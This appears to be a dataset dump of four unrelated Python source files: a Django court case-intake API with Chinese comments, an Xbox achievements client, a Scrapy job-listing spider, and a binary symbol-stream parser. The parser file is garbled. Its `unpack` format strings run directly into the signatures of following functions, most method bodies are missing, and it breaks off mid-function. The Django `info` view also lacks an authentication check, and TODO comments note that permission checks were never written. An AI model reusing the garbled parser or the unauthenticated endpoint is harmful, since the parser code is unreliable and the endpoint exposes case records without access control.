+{"seq_id":"581006700","text":"import datetime\nimport json\nimport logging\nimport tempfile\nimport uuid\nimport traceback\nimport os\n\nfrom constance import config\nfrom django.core.paginator import Paginator\nfrom django.conf import settings\nfrom django.contrib.auth import authenticate\nfrom django.db.models import Q\nfrom django.http import JsonResponse, HttpResponseBadRequest, HttpResponseServerError, HttpResponseNotAllowed, \\\n StreamingHttpResponse\nfrom django.utils import timezone\nfrom django.utils.encoding import escape_uri_path\nfrom django.utils.module_loading import import_string\nfrom django.shortcuts import redirect\n\nfrom account.decorators import require_jwt_auth, require_permission\nfrom account.models import Court, Position\nfrom docx_factory.compiler import get_plain_text\nfrom history.models import log_user_operation, OperationHistory\nfrom main.models import Case, CaseDetail, CollectedCase, CollectedFile, UniqueCode, UniqueCodeRule, \\\n UniqueCodeGenerateError, Stage\nfrom main.file_types import *\nfrom main.xlsx_util import Writer as XlsxWriter\nfrom main.utils import str2int, get_tilde_splitted_date_range, str2bool, file_iterator\nfrom s3.client import get_minio_client, check_bucket_existence\n\nlogger = logging.getLogger('server')\n\n\n# 返回收案列表\n@require_jwt_auth()\n@require_permission('view_case_collect_info')\ndef collected(request):\n user = request.user\n\n court_ids = request.GET.getlist('court[]', []) # 机构 id\n collect_types = request.GET.getlist('collect_type[]', []) # 收案类型, smart / manual\n\n status = request.GET.get('status', 'new') # 案件状态, 默认为新收案件\n date_range = request.GET.get('date_range') # 日期范围\n keyword = request.GET.get('key', '') # 关键字\n page = str2int(request.GET.get('page', 1)) # 页码\n\n export = request.GET.get('export', '')\n\n # - 组装查询参数 开始 -\n # - 组装默认查询参数 -\n # 默认参数是收案状态\n q = Q(status=status)\n # 按照用户权限组装查询参数\n if user.perm_src:\n user_perm_src_view = user.perm_src['view_case_collect_info']\n\n if user_perm_src_view[0] == 0: # 本人 (0, user)\n q = q & Q(creator=user_perm_src_view[1])\n\n elif user_perm_src_view[0] == 3: # 本部门\n q = q & Q(department=user_perm_src_view[1])\n elif user_perm_src_view[0] == 5: # 本部门及下属部门\n q = q & Q(department__in=user_perm_src_view[1])\n\n elif user_perm_src_view[0] == 7: # 本机构\n q = q & Q(court=user_perm_src_view[1])\n elif user_perm_src_view[0] == 9: # 本机构及下属机构\n q = q & Q(court__in=user_perm_src_view[1])\n # 按照用户权限组装查询参数 结束\n\n exclude_q = Q(status=CollectedCase.DELETED) & Q(status=CollectedCase.COMPLETELY_DELETED)\n\n if court_ids:\n court = Court.objects.filter(pk__in=court_ids).all()\n if court:\n q = q & Q(court__in=court)\n\n if collect_types:\n q = q & Q(collect_type__in=collect_types)\n\n if date_range:\n min_, max_ = get_tilde_splitted_date_range(date_range)\n if min_:\n q = q & Q(created__gte=min_, created__lte=max_)\n\n if keyword:\n q = q & Q(unique_code__code__icontains=keyword)\n # - 组装查询参数 结束 -\n\n logger.debug(q)\n\n query_set = CollectedCase.objects.filter(q).order_by('-created').exclude(exclude_q)\n collected_ = query_set.all().select_related('creator', 'last_modifier', 'unique_code')\n total = query_set.count()\n\n # 导出 xlsx (忽略分页)\n if export == 'xlsx':\n headers = ['序号', '案件唯一码', '所属机构', '所属部门', '收案类型', '智能识别状态', '经办人', '创建时间']\n data = []\n for index, i in enumerate(collected_):\n if not hasattr(i, 'case'):\n continue\n court = i.court.name if i.court else ''\n dept = i.department.name if i.department else ''\n\n data.append([\n index + 1, # 序号\n i.unique_code.code, # 案件唯一码\n court, # 所属机构\n dept, # 所属部门\n i.get_collect_type_display(), # 收案类型\n i.get_recognition_status_display(), # 智能识别状态\n i.creator.first_name if i.creator else '', # 经办人\n timezone.localtime(i.created).strftime('%Y-%m-%d'), # 创建时间\n ])\n\n filename = XlsxWriter('收案列表').set_header(headers).write(data).save_tmp()\n with open(filename, 'r') as output:\n file_name = '收案列表.xlsx'\n\n response = StreamingHttpResponse(file_iterator(output.name))\n response['Content-Type'] = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'\n response['Content-Length'] = os.path.getsize(output.name)\n response['Content-Disposition'] = 'attachment; filename*=\"{0}\"'.format(escape_uri_path(file_name))\n return response\n # 返回 json 数据\n else:\n # - 分页 开始 -\n paginator = Paginator(collected_, settings.PER_PAGE)\n collected_ = paginator.page(page).object_list\n # - 分页 结束 -\n\n # 组��数据\n data = []\n for i in collected_:\n if not hasattr(i, 'case'):\n continue\n court = i.court.name if i.court else ''\n dept = i.department.name if i.department else ''\n data.append({\n 'id': i.id,\n 'case_id': i.case.id if i.case else None,\n 'unique_code': i.unique_code.code,\n 'court': court,\n 'dept': dept,\n 'case_status': i.case.status if i.case else '',\n 'collect_type': i.collect_type,\n 'recognition_status': i.recognition_status,\n 'operator': i.creator.first_name if i.creator else '',\n 'created': timezone.localtime(i.created).strftime('%Y-%m-%d %H:%M')\n })\n return JsonResponse({\n 'status': 'ok',\n 'total': total,\n 'data': data\n })\n\n\n# 返回某个收案信息\ndef info(request):\n case_id = str2int(request.GET.get('case'))\n\n files_only = str2bool(request.GET.get('files_only', False))\n files_type = request.GET.get('files_type', CollectedFile.APPLICANT)\n\n collected_case = CollectedCase.objects.filter(case_id=case_id) \\\n .exclude(status__in=[CollectedCase.DELETED, CollectedCase.COMPLETELY_DELETED]) \\\n .select_related('creator', 'unique_code', 'creator__profile__court').first()\n if not collected_case:\n return HttpResponseBadRequest('该案件对应的收案信息不存在')\n\n applicants = collected_case.collectedfile_set.filter(type=CollectedFile.APPLICANT,\n status=CollectedFile.REFERENCED).all()\n dossiers = collected_case.collectedfile_set.filter(type=CollectedFile.DOSSIER,\n status=CollectedFile.REFERENCED).all()\n\n court = ''\n if hasattr(collected_case.creator, 'profile') and collected_case.creator.profile:\n if collected_case.creator.profile.court:\n court = collected_case.creator.profile.court.name\n\n data = {\n 'id': collected_case.id,\n 'unique_code': collected_case.unique_code.code,\n 'status': collected_case.status,\n 'recognition_status': collected_case.recognition_status,\n 'operator': collected_case.creator.first_name if collected_case.creator else '',\n 'collect_type': collected_case.collect_type,\n 'court': court,\n 'created': timezone.localtime(collected_case.created).strftime('%Y-%m-%d %H:%M:%S'),\n 'last_modified': timezone.localtime(collected_case.last_modified).strftime('%Y-%m-%d %H:%M:%S'),\n 'applicants': [{\n 'id': x.id,\n 'name': x.name,\n 'type': x.file_type,\n 'created': timezone.localtime(x.created).strftime('%Y-%m-%d %H:%M:%S'),\n 'url': x.url,\n } for x in applicants],\n 'dossiers': [{\n 'id': x.id,\n 'name': x.name,\n 'type': x.file_type,\n 'created': timezone.localtime(x.created).strftime('%Y-%m-%d %H:%M:%S'),\n 'url': x.url,\n } for x in dossiers]\n }\n\n resp = {\n 'status': 'ok',\n 'data': data,\n }\n\n if files_only:\n data = data.get(files_type + 's')\n resp = {\n 'status': 'ok',\n 'data': data,\n 'total': len(data)\n }\n\n return JsonResponse(resp)\n\n\n# 修改收案状态\n@require_jwt_auth()\ndef change_status(request):\n user = authenticate(request)\n if not user:\n return HttpResponseBadRequest('用户不存在!')\n\n collected = request.POST.getlist('cases[]')\n collected = [str2int(x) for x in collected]\n status = request.POST.get('status')\n\n if status not in [CollectedCase.TRANSFORMING, CollectedCase.FINISHED, CollectedCase.DELETED]:\n return HttpResponseBadRequest('指定修改的状态不存在')\n\n if status == CollectedCase.TRANSFORMING:\n # 转立案, 案件状态 -> 收案, 案件阶段 -> 案前\n # 在接下来的异步任务里请求审理系统新建案件,如果新建案件,更新案件状态为 立案,更新案件名称,案件号\n case_status = Case.RECEIVED\n case_stage = Stage.objects.order_by('index').first()\n operation = OperationHistory.TRANSFORM\n elif status == CollectedCase.FINISHED:\n # 办结, 案件状态 -> 结案, 案件阶段 -> 归档\n case_status = Case.FINISHED\n case_stage = Stage.objects.order_by('-index').first()\n operation = OperationHistory.FINISH\n else:\n # 删除\n case_status = Case.NONE\n case_stage = Stage.objects.order_by('index').first()\n operation = OperationHistory.DELETE\n\n try:\n changed = CollectedCase.objects.filter(id__in=collected) \\\n .update(status=status,\n last_modified=timezone.now(),\n last_modifier=user)\n\n Case.objects.filter(collectedcase__in=collected).update(status=case_status, stage=case_stage)\n # TODO: 在这里处理收案转立案, 或立案转办结的逻辑\n # 应该采用异步更新的策略来推送或同步案件信息\n # - 收案转立案的模拟逻辑 -\n if case_status == Case.RECEIVED:\n # 转立案,这里我们给定一个模拟的案号,给定立案日期\n try:\n cases = Case.objects.filter(collectedcase__in=collected).all()\n import random\n for c in cases:\n c.status = Case.ACCEPTED\n c.current_id = 'X民一立字(2018){}号'.format(random.randint(1000, 9999))\n if hasattr(c, 'detail') and c.detail:\n c.detail.accepted_rejected = timezone.localtime(timezone.now())\n c.detail.save()\n c.save()\n except Exception as e:\n logger.error(e)\n\n except Exception as e:\n return HttpResponseServerError('修改收案信息状态失败, 原因是 {}'.format(e))\n\n # - 记录用户操作 开始 -\n collected_cases = CollectedCase.objects.filter(id__in=collected).all()\n for i in collected_cases:\n log_user_operation(user, operation, i)\n # - 记录用户操作 结束 -\n\n return JsonResponse({\n 'status': 'ok',\n 'success': changed\n })\n\n\n# ----------------------------------------------\n# 智能收案 和 填表收案\n# ----------------------------------------------\n\n\n# 智能收案\n@require_jwt_auth()\ndef smart_collect(request):\n user = request.user\n\n applicants = request.POST.getlist('applicants[]', []) # 申请书卷宗文件 id\n applicants = [str2int(x) for x in applicants]\n dossiers = request.POST.getlist('dossiers[]', []) # 其他卷宗材料文件 id\n dossiers = [str2int(x) for x in dossiers]\n\n # - 生成案件唯一码 开始 -\n if not hasattr(user, 'profile') or not user.profile:\n return HttpResponseBadRequest('操作用户非普通用户, 无法保存机构和部门信息, 因此无法创建收案信息, 请切换为普通用户')\n position = user.profile.login_as\n if not position:\n return HttpResponseBadRequest('操作用户没有主要职务, 无法保存机构和部门信息, 因此无法创建收案信息, 请切换为普通用户')\n if not position.court:\n return HttpResponseBadRequest('操作用户不属于任何机构, 无法保存机构和部门信息, 因此无法创建收案信息, 请切换为普通用户')\n\n #\n # TODO: 检查用户权限\n #\n unique_code_rule = UniqueCodeRule.objects.filter(court=position.court, status=UniqueCodeRule.ENABLED).first()\n try:\n unique_code = unique_code_rule.generate_unique_code(position.department)\n except Exception as e:\n # 两种异常可能, 生成错误或规则不存在\n msg = 'Generating unique code failed, creator is {}, error: {}'.format(user.id, e)\n logger.error(msg)\n unique_code = str(uuid.uuid4())\n\n unique_code_obj = UniqueCode.objects.create(code=unique_code)\n # - 生成案件唯一码 结束 -\n\n # - 新建收案信息记录 开始 -\n try:\n case = Case.objects.create(create_user=user, status=Case.RECEIVED, court=position.court,\n unique_code=unique_code_obj)\n case_detail = CaseDetail.objects.create(case=case)\n case.detail = case_detail\n case.save()\n except Exception as e:\n msg = 'Save case collect/receive info failed while smart collect case, error: {}'.format(e)\n logger.error(msg)\n return HttpResponseServerError('收案失败, 案件信息无法保存. 错误原因: {}'.format(e))\n collected_case = CollectedCase.objects.create(\n unique_code=unique_code_obj,\n collect_type=CollectedCase.SMART,\n recognition_status=CollectedCase.PROCESSING,\n creator=user,\n court=position.court,\n department=position.department,\n last_modifier=user,\n case=case\n )\n # - 新建收案信息记录 结束 -\n\n # - 记录用户操作历史 -\n log_user_operation(user, OperationHistory.CREATE, collected_case)\n\n # - 更新文件引用 开始 -\n try:\n CollectedFile.objects.filter(id__in=applicants).update(collected_case=collected_case,\n type=CollectedFile.APPLICANT,\n status=CollectedFile.REFERENCED)\n CollectedFile.objects.filter(id__in=dossiers).update(collected_case=collected_case,\n type=CollectedFile.DOSSIER,\n status=CollectedFile.REFERENCED)\n except Exception as e:\n return HttpResponseServerError('收案信息记录已创建 (id: {}, 案件唯一码: {}), 但无法引用文件, 错误原因: {}' \\\n .format(collected_case.id, collected_case.unique_code.code, e))\n # - 更新文件引用 结束 -\n\n # - 识别文件 开始 -\n from interfaces.tasks import push_dossiers\n types = request.POST.getlist('type[]', [])\n system_from = request.POST.get('from', config.FROM)\n\n if not types:\n pass\n if system_from == 'court' and len(types) == 2:\n # 法院的数据\n # qss 指 起诉状\n push_dossiers.delay(user.id, collected_case.id, int(types[0]), int(types[1]), applicants, dossiers, type_='qss')\n elif system_from == 'arbitration':\n # 仲裁院的数据\n # 87, 87 是固定的劳动仲裁的案件类型和审判程序 id\n # sqs 指 申请书\n push_dossiers.delay(user.id, collected_case.id, 87, 87, applicants, dossiers, type_='sqs')\n # - 识别文件 结束 -\n\n return JsonResponse({\n 'status': 'ok',\n 'data': {\n 'id': collected_case.id,\n 'unique_code': collected_case.unique_code.code\n }\n })\n\n\n# 填表收案\n@require_jwt_auth()\ndef manual_collect(request):\n user = request.user\n\n # - 生成案件唯一码 开始 -\n if not hasattr(user, 'profile') or not user.profile:\n return HttpResponseBadRequest('操作用户非普通用户, 无法保存机构和部门信息, 因此无法创建收案信息, 请切换为普通用户')\n position = user.profile.login_as\n if not position:\n return HttpResponseBadRequest('收案用户没有主要职务, 无法保存机构和部门信息, 因此无法创建收案信息, 请切换为普通用户')\n if not position.court:\n return HttpResponseBadRequest('收案用户没有归属的机构, 无法保存机构和部门信息, 因此无法创建收案信息, 请切换为普通用户')\n\n #\n # TODO: 检查用户权限\n #\n unique_code_rule = UniqueCodeRule.objects.filter(court=position.court, status=UniqueCodeRule.ENABLED).first()\n try:\n unique_code = unique_code_rule.generate_unique_code(position.department)\n except Exception as e:\n # 两种异常可能, 生成错误或规则不存在\n msg = 'Generating unique code failed, creator is {}, error: {}'.format(user.id, e)\n logger.error(msg)\n unique_code = str(uuid.uuid4())\n\n unique_code_obj = UniqueCode.objects.create(code=unique_code)\n # - 生成案件唯一码 结束 -\n\n # - 新建收案信息记录 开始 -\n try:\n case = Case.objects.create(create_user=user, status=Case.RECEIVED, court=position.court,\n unique_code=unique_code_obj)\n case_detail = CaseDetail.objects.create(case=case)\n case.detail = case_detail\n case.save()\n except Exception as e:\n msg = 'Save case collect/receive info failed while manually collect case, error: {}'.format(e)\n logger.error(msg)\n return HttpResponseServerError('收案失败, 案件信息无法保存. 错误原因: {}'.format(e))\n\n collected_case = CollectedCase.objects.create(\n unique_code=unique_code_obj,\n collect_type=CollectedCase.MANUAL,\n creator=user,\n court=position.court,\n department=position.department,\n last_modifier=user,\n case=case\n )\n\n # - 新建收案信息记录 结束 -\n\n # - 记录用户操作历史 -\n log_user_operation(user, OperationHistory.CREATE, collected_case)\n\n return JsonResponse({\n 'status': 'ok',\n 'data': {\n 'id': case.id,\n 'unique_code': collected_case.unique_code.code\n }\n })\n\n\n# ----------------------------------------------\n# 收案相关卷宗文件操作\n# ----------------------------------------------\n\n# 收案文件上传或返回列表\n@require_jwt_auth()\ndef files(request):\n user = authenticate(request)\n if not user:\n return HttpResponseBadRequest('用户不存在!')\n\n if request.method == 'POST':\n # 上传文件\n file = request.FILES.get('file')\n\n # - 上传文件至存储 开始 -\n minio = get_minio_client()\n bucket = timezone.now().strftime('%Y%m')\n object_name = '收案文件/{}/{}/{}' \\\n .format(timezone.now().strftime('%Y%m%d'), uuid.uuid4(), file.name.replace('/', '-'))\n\n exists, e = check_bucket_existence(bucket)\n if e:\n logger.error('Upload files to minio failed while receiving collected case file, error: {}'.format(e))\n return HttpResponseServerError('文件无法在后台上传至存储服务器, 原因是: {}'.format(e))\n try:\n minio.put_object(bucket, object_name, file, file.size, file.content_type)\n except Exception as e:\n logger.error('Upload files to minio failed while receiving collected case file, error: {}'.format(e))\n return HttpResponseServerError('文件无法在后台上传至存储服务器, 原因是: {}'.format(e))\n # - 上传文件至存储 结束 -\n\n # - 新建文件记录 开始 -\n collected_file = CollectedFile.objects.create(\n name=file.name.replace('/', '-'),\n bucket=bucket,\n path=object_name\n )\n # - 新建文件记录 结束 -\n\n return JsonResponse({\n 'status': 'ok',\n 'data': {\n 'id': collected_file.id,\n 'name': collected_file.name,\n 'url': collected_file.url\n }\n })\n\n else:\n # 获取文件\n file_id = str2int(request.GET.get('id'))\n collected_file = CollectedFile.objects.filter(pk=file_id).exclude(status=CollectedFile.DELETED).first()\n if not collected_file:\n return HttpResponseBadRequest('指定的文件不存在或已经删除')\n else:\n return redirect(to=collected_file.url)\n\n\n# 解除文件引用(删除)\n@require_jwt_auth()\ndef unreference(request):\n user = authenticate(request)\n if not user:\n return HttpResponseBadRequest('用户不存在!')\n\n file_ids = request.POST.getlist('id[]')\n file_ids = [str2int(x) for x in file_ids]\n\n success = CollectedFile.objects.filter(id__in=file_ids).update(\n status=CollectedFile.UNREFERENCED\n )\n\n return JsonResponse({\n 'status': 'ok',\n 'data': {\n 'success': success\n }\n })\n\n\n# 为已有收案信息追加上传文件\n@require_jwt_auth()\ndef append_files(request):\n user = request.user\n\n collected_case_id = str2int(request.POST.get('id'))\n type_ = request.POST.get('type', CollectedFile.APPLICANT)\n file = request.FILES.get('file')\n\n collected_case = CollectedCase.objects.filter(pk=collected_case_id) \\\n .exclude(status__in=[CollectedCase.DELETED, CollectedCase.COMPLETELY_DELETED]).first()\n if not collected_case:\n return HttpResponseBadRequest('指定的收案信息不存在或已删除')\n\n if not type_ in [CollectedFile.APPLICANT, CollectedFile.DOSSIER]:\n return HttpResponseBadRequest('指定的文件类型不正确')\n\n # - 上传文件至存储 开始 -\n minio = get_minio_client()\n bucket = timezone.now().strftime('%Y%m')\n object_name = '收案文件/{}/{}/{}' \\\n .format(timezone.now().strftime('%Y%m%d'), uuid.uuid4(), file.name.replace('/', '-'))\n\n exists, e = check_bucket_existence(bucket)\n if e:\n logger.error('Upload files to minio failed while receiving collected case file, error: {}'.format(e))\n return HttpResponseServerError('文件无法在后台上传至存储服务器, 原因是: {}'.format(e))\n try:\n minio.put_object(bucket, object_name, file, file.size, file.content_type)\n except Exception as e:\n logger.error('Upload files to minio failed while receiving collected case file, error: {}'.format(e))\n return HttpResponseServerError('文件无法在后台上传至存储服务器, 原因是: {}'.format(e))\n # - 上传文件至存储 结束 -\n\n # - 新建文件记录 开始 -\n collected_file = CollectedFile.objects.create(\n name=file.name.replace('/', '-'),\n bucket=bucket,\n path=object_name,\n status=CollectedFile.REFERENCED,\n type=type_,\n collected_case=collected_case\n )\n # - 新建文件记录 结束 -\n\n return JsonResponse({\n 'status': 'ok',\n 'data': {\n 'id': collected_file.id,\n 'name': collected_file.name,\n 'url': collected_file.url\n }\n })\n","sub_path":"backend/main/api/collect_case.py","file_name":"collect_case.py","file_ext":"py","file_size_in_byte":23771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"43995057","text":"\"\"\"\nxbox.py\n\nHTTP requests for the unofficial xbox api (xboxapi.com)\n\"\"\"\n\nimport json\nimport requests\nimport os\n\nimport achieves\nimport api_keys as keys\n\n############### XBOX ###############\nXBOX_ID = '2533274805585086'\n\ndef get_my_games():\n \"\"\"\n get_my_games\n\n return a dict of all owned games as {title_id: name, ...} pairs\n \"\"\"\n ret = dict()\n req = requests.get('https://xboxapi.com/v2/'\n + XBOX_ID + '/xboxonegames',\n headers={'X-AUTH': keys.XBOX_KEY})\n if req.ok:\n for game in req.json()['titles']:\n ret[game['titleId']] = game['name']\n return ret\n\ndef get_my_achieves(title_id):\n \"\"\"\n get_my_achieves\n\n return the list of achievements for the title_id\n \"\"\"\n ret = list()\n req = requests.get('https://xboxapi.com/v2/'\n + XBOX_ID + '/achievements/' + str(title_id),\n headers={'X-AUTH': keys.XBOX_KEY})\n if req.ok:\n ret = req.json()\n return ret\n\ndef get_game_info(title_id, games):\n \"\"\"\n get_game_info\n\n return the game info for the title_id\n \"\"\"\n ret = dict()\n\n ret['name'] = games[title_id]\n\n # Get the achievements and format them to be similar to the steam\n # achievements\n raw_achievements = get_my_achieves(title_id)\n formatted_achievements = list()\n for ach in raw_achievements:\n ach['name'] = ach['name']\n ach['description'] = ach['lockedDescription']\n ach['achieved'] = int(ach['progressState'] == 'Achieved')\n ach['percent'] = ach['rarity']['currentPercentage']\n ach['icon'] = \"\"\n if 'mediaAssets' in ach:\n icons = [x['url'] for x in ach['mediaAssets'] if x['type'] == 'Icon']\n if icons:\n ach['icon'] = icons[0]\n formatted_achievements.append(ach)\n\n ret['achievements'] = formatted_achievements\n\n return ret\n\ndef load_json():\n \"\"\"\n load_json\n\n Open the saved data and return the content\n \"\"\"\n # Open the xbox games json file\n json_file = None\n try:\n json_file = open(os.path.join(os.path.dirname(__file__), 'xbox_games.json'))\n except IOError:\n achieves.run_xbox()\n json_file = open(os.path.join(os.path.dirname(__file__), 'xbox_games.json'))\n\n # Decode the json\n games = json.load(json_file)\n\n return games\n","sub_path":"xbox.py","file_name":"xbox.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"545650203","text":"\"\"\"This file is a PeopleSoftSickKids spider created on top of the PeopleSoft\nscrapy crawl peoplesoft_sickkids -a url=\"https://career.sickkids.ca/\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n https://career.sickkids.ca/\n\"\"\"\n\nfrom scrapy.http import FormRequest\nfrom scrapy.selector import Selector\nfrom scrapy.conf import settings\nfrom urlparse import urlparse\n\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString, HtmlFormatter, RemoveBadElements, Strip, MapJobTypes\nfrom brightcorp.spiders.peoplesoft import PeopleSoft\n\n\nclass PeopleSoftSickKids(PeopleSoft):\n\n name = \"peoplesoft_sickkids\"\n job_count = 0\n domain = ''\n\n def __init__(self, *args, **kwargs):\n super(PeopleSoftSickKids, self).__init__(*args, **kwargs)\n settings.set('CONCURRENT_REQUESTS', 16)\n if 'url' in kwargs:\n match = urlparse(kwargs['url']).netloc.split('.')\n if len(match) >= 2:\n self.domain = match[1]\n\n def parse(self, response):\n sel = Selector(response)\n jobs = sel.xpath(\n \"//table[@id='tdgbrHRS_CE_JO_EXT_I$0']/tr[%s]\" % (self.job_count+1)\n )\n if jobs:\n job = jobs[0]\n meta = {\n 'date': job.xpath(\"./td[2]//text()\").extract(),\n 'title': job.xpath(\"./td[3]//text()\").extract(),\n 'id': job.xpath(\"./td[4]//text()\").extract(),\n 'location': job.xpath(\"./td[5]//text()\").extract(),\n 'cat': job.xpath(\"./td[6]//text()\").extract(),\n }\n formdata = {'ICAction': \"POSTINGTITLE$%s\" % self.job_count}\n yield FormRequest(\n response.url, formdata=formdata, meta=meta,\n callback=self.parse_job_callback()\n )\n self.job_count += 1\n\n def parse_job(self, response):\n sel = Selector(response)\n loader = BrightcorpItemLoader(response=response)\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('location', response.meta.get('location'))\n loader.add_value('jobcategory', response.meta.get('cat'))\n loader.add_value(\n 'date', response.meta.get('date'), Strip(), ConvertDateString('%Y/%m/%d')\n )\n loader.add_value(\n 'referencenumber', response.meta.get('id'), Strip(),\n Prefix('%s-' % self.domain)\n )\n loader.add_xpath(\n 'description', '//div[contains(@id, \"DESCRLONG\")]',\n RemoveBadElements(['a']), HtmlFormatter()\n )\n loader.add_xpath(\n 'workhours', '//span[contains(@id, \"_WRK_STD_HOURS\")]/text()'\n )\n loader.add_xpath(\n 'duration', '//span[contains(@id, \"_WRK_HSC_CONLENGHT\")]/text()'\n )\n loader.add_xpath(\n 'jobtype',\n '//span[contains(@id, \"HRS_FULL_PART_TIME\")]/text()',\n MapJobTypes()\n )\n loader.add_xpath(\n 'expiration_date', '//span[contains(@id, \"_JO_PST_CLS_DT\")]/text()',\n ConvertDateString('%Y/%m/%d')\n )\n\n email_option = sel.xpath(\n \"//input[@name='HRS_CE_WRK2_HRS_CE_EML_FRND']\"\n )\n if email_option:\n formdata = {\n \"ICAction\": \"HRS_CE_WRK2_HRS_CE_EML_FRND\"\n }\n meta = {\"loader\": loader}\n yield FormRequest(\n response.url, formdata=formdata, meta=meta,\n callback=self.parse_mail, dont_filter=True\n )\n else:\n # individual job pages cannot be accessed through a URL\n loader.add_value('url', response.url)\n yield loader.load_item()\n\n def parse_goback(self, response):\n \"\"\"go back to job listing page,from job details page\"\"\"\n formdata = {'ICAction': \"HRS_CE_WRK2_HRS_REF_JB_RETURN\"}\n yield FormRequest(response.url, formdata=formdata, priority=5,\n callback=self.parse, dont_filter=True)\n","sub_path":"brightcorp/brightcorp/spiders/peoplesoft_sickkids.py","file_name":"peoplesoft_sickkids.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"377771708","text":"#!/usr/bin/env python\n\"\"\"\nBinary stream representing persistent objects\n\"\"\"\n\nfrom struct import unpack, error\nimport binascii\nfrom datetime import datetime, timedelta\nimport os\nfrom typing import Optional\nfrom slyr_community.parser.object_registry import ObjectRegistry, REGISTRY\nfrom slyr_community.parser.object import Object\nfrom slyr_community.parser.exceptions import UnsupportedVersionException, UnreadableSymbolException, \\\n CustomExtensionClsidException\n\n\nclass Stream:\n \"\"\"\n An input stream for object parsing\n \"\"\"\n\n VBEMPTY = 0\n VBNULL = 1\n VBINTEGER = 2\n VBLONG = 3\n VBSINGLE = 4\n VBDOUBLE = 5\n VBCURRENCY = 6\n VBDATE = 7\n VBSTRING = 8\n VBOBJECT = 9\n VBERROR = 10\n VBBOOLEAN = 11\n VBVARIANT = 12\n VBDATAOBJECT = 13\n VBDECIMAL = 14\n VBBYTE = 17\n VBLONGLONG = 20\n VBUSERDEFINEDTYPE = 36\n VBARRAY = 8192\n USER_PASSWORD = 8209 # byte array\n\n def __init__(self,\n io_stream,\n debug: bool = False,\n offset: int = 0,\n force_layer=False, # pylint: disable=unused-argument\n extract_doc_structure=True, # pylint: disable=unused-argument\n parse_doc_structure_only=False, # pylint: disable=unused-argument\n tolerant=True,\n path=''): # pylint: disable=unused-argument\n \"\"\"\n Constructor for Streams\n :param io_stream: input stream, usually a file handle\n :param debug: true if debugging output should be created during object read\n :param offset: offset to start reading at\n \"\"\"\n self._io_stream = io_stream\n self.debug = debug\n self.debug_depth = 0\n self.allow_shortcuts = True\n self.tolerant = tolerant\n\n current = io_stream.tell()\n io_stream.seek(0, os.SEEK_END)\n self.end = io_stream.tell()\n io_stream.seek(current)\n\n if offset > 0:\n self._io_stream.seek(offset)\n\n def tell(self) -> int:\n \"\"\"\n Returns the current position within the stream.\n \"\"\"\n return self._io_stream.tell()\n\n def read(self, length: int) -> bin:\n \"\"\"\n Reads the from the stream for the given length and returns\n the binary result.\n \"\"\"\n return self._io_stream.read(length)\n\n def seek(self, offset: int):\n \"\"\"\n Seeks for the given offset.\n \"\"\"\n self._io_stream.seek(offset)\n\n def rewind(self, length):\n \"\"\"\n Rewinds by the given length\n \"\"\"\n self._io_stream.seek(self._io_stream.tell() - length)\n\n def log(self, message: str, offset: int = 0):\n \"\"\"\n Logs a debug message\n \"\"\"\n if self.debug:\n print('{}{} at {}'.format(' ' * self.debug_depth, message, hex(self._io_stream.tell() - offset)))\n\n def read_uchar(self, debug_string: str = '', expected=None) -> int:\n \"\"\"\n Reads a uchar from the stream.\n :return:\n \"\"\"\n res = unpack(\" float:\n \"\"\"\n Reads a double from the stream.\n :return:\n \"\"\"\n res = unpack(\" int:\n \"\"\"\n Reads an int from the stream.\n :return:\n \"\"\"\n try:\n res = unpack(\" int:\n \"\"\"\n Reads an uint from the stream.\n :return:\n \"\"\"\n res = unpack(\" int:\n \"\"\"\n Reads a signed int from the stream.\n :return:\n \"\"\"\n res = unpack(\" int:\n \"\"\"\n Reads an ulong from the stream.\n :return:\n \"\"\"\n res = unpack(\" int:\n \"\"\"\n Reads an unsigned short from the stream.\n :return:\n \"\"\"\n res = unpack(\" str:\n \"\"\"\n Reads a CLSID from the stream\n \"\"\"\n clsid_bin = binascii.hexlify(self._io_stream.read(16))\n\n clsid = ObjectRegistry.hex_to_clsid2(clsid_bin)\n if debug_string and clsid != '00000000-0000-0000-0000-000000000000':\n self.log('Found {} clsid of {}'.format(debug_string, clsid), 16)\n return clsid\n\n def read_raw_clsid(self, debug_string: str = '', expected=None) -> str:\n \"\"\"\n Reads a CLSID from the stream\n \"\"\"\n clsid_bin = binascii.hexlify(self._io_stream.read(16))\n clsid = ObjectRegistry.hex_to_clsid(clsid_bin)\n if debug_string and clsid != '00000000-0000-0000-0000-000000000000':\n self.log('Found {} clsid of {}'.format(debug_string, clsid), 16)\n\n if not self.tolerant and expected is not None:\n if isinstance(expected, (tuple, list)):\n assert clsid in expected, 'Got {}, expected {}'.format(clsid, expected)\n else:\n assert clsid == expected, 'Got {}, expected {}'.format(clsid, expected)\n\n return clsid\n\n def read_string(self, debug_string: str = '', expected=None, size=None) -> str:\n \"\"\"\n Decodes a string from the binary\n\n From the .dot BinaryWriter code: 'This method first writes the length of the string as\n a four-byte unsigned integer, and then writes that many characters\n to the stream'\n \"\"\"\n if debug_string:\n self.log('start {}'.format(debug_string))\n\n length = size if size is not None else self.read_uint('{} string length'.format(debug_string))\n if length < 2:\n raise UnreadableSymbolException('Invalid length of string {}'.format(length))\n\n self.log('string of length {}'.format(int(length / 2 - 1)), 4)\n buffer = self._io_stream.read(length - 2)\n string = buffer.decode('utf-16')\n terminator = binascii.hexlify(self._io_stream.read(2))\n if not terminator == b'0000':\n raise UnreadableSymbolException('Invalid string terminator')\n\n self.log('found string \"{}\"'.format(string))\n\n if not self.tolerant and expected is not None:\n if isinstance(expected, (tuple, list)):\n assert string in expected, 'Got {}, expected {}'.format(string, expected)\n else:\n assert string == expected, 'Got {}, expected {}'.format(string, expected)\n\n return string\n\n def read_stringv2(self, debug_string: str = '', expected=None) -> str:\n \"\"\"\n Decodes a string from the binary, alternative method\n \"\"\"\n if debug_string:\n self.log('start {}'.format(debug_string))\n\n length = self.read_uint('{} string length'.format(debug_string))\n if length < 0:\n raise UnreadableSymbolException('Invalid length of string {}'.format(length))\n\n 